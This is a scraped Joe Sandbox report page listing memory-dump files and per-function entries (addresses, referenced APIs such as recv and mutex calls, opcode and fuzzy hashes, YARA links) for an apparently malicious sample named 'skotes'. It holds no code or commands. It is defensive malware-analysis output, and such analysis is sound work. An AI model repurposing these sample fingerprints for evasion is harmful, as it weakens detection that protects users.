Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastConcurrency::cancel_current_task
String ID: ?]&$
API String ID: 3354401312-313912829
Opcode ID: f16268eccaf15125cd4cba1acb9d1eef2b18618b1b306c48b1def1cfa01560ac
Instruction ID: 563714f49c1d2eff1b53f078beb2f998850f6bd67d0e13bcc5ad683d43c028ee
Opcode Fuzzy Hash: f16268eccaf15125cd4cba1acb9d1eef2b18618b1b306c48b1def1cfa01560ac
Instruction Fuzzy Hash: 1F618DB0D02209EFDB14CFA5D544BEEBBB8FF04314F144159E805A7281DB75AA84CBB1

Function 00D1C452 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00D1C4F8
__Xtime_diff_to_millis2.LIBCPMT ref: 00D1C542
_xtime_get.LIBCPMT ref: 00D1C561

Strings

?]&$, xrefs: 00D1C458

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: _xtime_get$Xtime_diff_to_millis2
String ID: ?]&$
API String ID: 2858396081-313912829
Opcode ID: 028fcab4e9aefe5688a0c62ea467aee55c5645855078e339e71bfdb84b26cd81
Instruction ID: 58cdb2b8e8babbdc48221a944c4381c6acc98a8622d6de8edd8b0703783a9cdb
Opcode Fuzzy Hash: 028fcab4e9aefe5688a0c62ea467aee55c5645855078e339e71bfdb84b26cd81
Instruction Fuzzy Hash: 4451BF71A60216EBEF20DF24E4919E977F2EF04310B28645AD806AB255DF30FD81CB75

Function 00D03040 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 140threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00D030F5
GetCurrentThreadId.KERNEL32 ref: 00D03132
__Mtx_unlock.LIBCPMT ref: 00D0319B

Strings

?]&$, xrefs: 00D03054

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread
String ID: ?]&$
API String ID: 2978015407-313912829
Opcode ID: d4c8d2e1f3356725a3d8e292fd8036026401efa4f64ebb720d6764a3e27cfa9a
Instruction ID: d49a1b0d5e2a2b1941b0700a4979af681e0cf30871dc8f395df8d24930fa88c6
Opcode Fuzzy Hash: d4c8d2e1f3356725a3d8e292fd8036026401efa4f64ebb720d6764a3e27cfa9a
Instruction Fuzzy Hash: 7541F370A05345EFDB10DFA4D8457AABBA8EF19310F088169E809D7282EB31DA44C7F2

Function 00D03AC0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

__Mtx_destroy_in_situ.LIBCPMT ref: 00D03B93
__Cnd_destroy_in_situ.LIBCPMT ref: 00D03B99
__Mtx_destroy_in_situ.LIBCPMT ref: 00D03BA2

Strings

?]&$, xrefs: 00D03AD5

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_destroy_in_situ$Cnd_destroy_in_situ
String ID: ?]&$
API String ID: 3308344742-313912829
Opcode ID: c3100e733df2469eba86cce674207a3afe83a1e7195a1cd2bda4bedb50a5199e
Instruction ID: 713cd3fa44558e7a0a2a31a7692e40fe30c44776b05b30c34e8dfa56a945a43e
Opcode Fuzzy Hash: c3100e733df2469eba86cce674207a3afe83a1e7195a1cd2bda4bedb50a5199e
Instruction Fuzzy Hash: 77318171600A009FDB249F28C885B6AB7E9EF45724F18465DE95ACB791DB34ED04CBB0

Function 00D0E0C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00000004,00000000), ref: 00D0E10B
recv.WS2_32(?,?,00000008,00000000), ref: 00D0E140

Strings

?]&$, xrefs: 00D0E0D4

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: recv
String ID: ?]&$
API String ID: 1507349165-313912829
Opcode ID: bd163d82fd84ac18247e3003be15597fd2526a12b0d83ad141b0f05839124de2
Instruction ID: 333b4d845672c9abaf8d3b22f5892a0cc63796176b0dc608d0564e39bf65d810
Opcode Fuzzy Hash: bd163d82fd84ac18247e3003be15597fd2526a12b0d83ad141b0f05839124de2
Instruction Fuzzy Hash: 4031D871A44348AFD720CB69DC85BEB7BBCEB08724F040625E515E73D1DA74E8458BB1

Function 00D3182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00D318A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00D318EB

Strings

pContext, xrefs: 00D3189C

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
